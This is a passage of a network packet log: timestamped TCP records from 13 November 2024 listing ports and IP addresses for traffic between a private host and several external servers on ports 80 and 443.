Nov 13, 2024 14:41:32.718523026 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718542099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718555927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718564034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718604088 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718630075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718643904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.718677044 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.718697071 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.732903004 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.732923985 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.733181000 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.733221054 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.733233929 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.733234882 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.733248949 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.733320951 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.749653101 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.749670982 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.749763012 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.749763012 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.749794960 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.750061035 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.750080109 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.750168085 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.750168085 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.750175953 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.750624895 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.750638962 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.750705957 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.750714064 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.751003981 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.751020908 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.751211882 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.751211882 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.751219988 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.754899979 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.754914999 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.755063057 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.755063057 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.755075932 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.755465031 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.755482912 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.755522013 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.755530119 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.755568027 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.755805969 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.755819082 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.755858898 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.755867004 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.755897999 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.756041050 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.756057978 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.756155014 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.756155014 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.756161928 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.756936073 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.756948948 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.757186890 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.757205009 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.757241011 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.757241011 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.757241011 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.757250071 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.757368088 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.757368088 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.781852961 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.786509037 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.786546946 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.786693096 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.786845922 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.786886930 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.786916018 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.786925077 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.786981106 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.787041903 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.787286997 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.787338972 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.787446976 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.787553072 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.787586927 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.787688017 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.787837982 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.787854910 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.788533926 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.789752007 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.789773941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.789798975 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.789812088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.789823055 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.789845943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.798038006 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.798052073 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.798214912 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.798239946 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.798337936 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.798346996 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.798422098 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.798454046 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.798724890 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.798738003 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.799066067 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.799093008 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.799110889 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:32.799123049 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:32.799340963 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.799340963 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.799348116 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.801079035 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.802369118 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.838251114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838325977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838340044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838351965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838357925 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838365078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838388920 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838388920 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838399887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838413954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838426113 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838427067 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838440895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838453054 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838454962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838469982 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838480949 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838485003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838495970 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838524103 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838563919 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838587999 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838601112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838614941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838628054 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838628054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838644028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838654995 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838656902 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838670969 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838692904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838701010 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838712931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838726997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838733912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838740110 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838752985 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838753939 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838764906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838769913 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838781118 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838788033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838790894 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838814020 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838833094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838849068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838867903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838876009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838881969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838905096 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838917971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838920116 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838931084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838942051 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838944912 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838958025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838968039 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.838972092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838984966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.838995934 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.839013100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.849337101 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.849400043 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.854511976 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.854537964 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.854630947 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.854630947 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.854648113 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.854788065 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.854806900 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.854820013 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.854836941 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.854846001 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.854856014 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.854901075 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.854907036 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.854990005 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.855485916 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.855552912 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.856118917 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.876276970 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:32.885508060 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.885538101 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.886523008 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.886542082 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.887140036 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:32.887172937 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:32.891051054 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:32.891129971 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:32.923331022 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:32.923563004 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:32.926227093 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:32.926248074 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.023358107 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.029412031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.039185047 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.040081978 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.040107965 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.040446043 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.040745020 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.040798903 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.040894985 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.053127050 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:33.057506084 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:33.057524920 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:33.058571100 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:33.058638096 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:33.059597015 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:33.059648037 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:33.059779882 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:33.059787035 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:33.083342075 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.092792034 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.092977047 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.093218088 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.093233109 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.095643044 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.096159935 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.096400976 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.096493006 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.097215891 CET	49889	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.097215891 CET	49889	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.097235918 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.097250938 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.098262072 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.098280907 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.102343082 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.104516029 CET	49905	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.104553938 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.104630947 CET	49905	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.104789972 CET	49905	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.104800940 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.105078936 CET	49890	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.105091095 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.105648994 CET	49890	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.105654001 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.107630968 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:33.107633114 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.112411976 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.112473965 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.113604069 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.113657951 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.113811016 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.113817930 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.144542933 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.150366068 CET	49888	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.150377989 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.150883913 CET	49888	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.150888920 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.171155930 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.171181917 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.171233892 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.171252966 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.171405077 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.171461105 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.172465086 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.172477961 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.172521114 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.172557116 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.172817945 CET	49906	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.172868013 CET	443	49906	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.172930002 CET	49906	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.173342943 CET	49906	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.173360109 CET	443	49906	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.212471962 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:33.224361897 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.224523067 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.224590063 CET	49889	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.224721909 CET	49889	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.224740982 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.224869967 CET	49889	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.224875927 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.227715969 CET	49907	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.227766991 CET	443	49907	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.227832079 CET	49907	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.228017092 CET	49907	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.228034973 CET	443	49907	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.234472990 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.234508991 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.234568119 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.234638929 CET	49890	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.234702110 CET	49890	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.234719038 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.234730959 CET	49890	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.234736919 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.237257957 CET	49908	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.237294912 CET	443	49908	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.237359047 CET	49908	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.237524033 CET	49908	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.237540960 CET	443	49908	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.239592075 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:33.239650965 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:33.241020918 CET	49883	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:33.241034985 CET	443	49883	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:33.279033899 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.280088902 CET	49891	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.280107021 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.280493021 CET	49891	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.280508041 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.283282042 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.283396959 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.283461094 CET	49888	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.283577919 CET	49888	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.283586979 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.283597946 CET	49888	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.283602953 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.286274910 CET	49909	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.286317110 CET	443	49909	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.286387920 CET	49909	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.286530018 CET	49909	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.286545992 CET	443	49909	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.309639931 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.309817076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309847116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309860945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309873104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309879065 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.309916019 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.309916019 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.309919119 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309931993 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309942961 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309954882 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.309964895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309981108 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.309983969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.309998989 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310007095 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310018063 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310039997 CET	49832	80	192.168.2.7	185.215.113.206
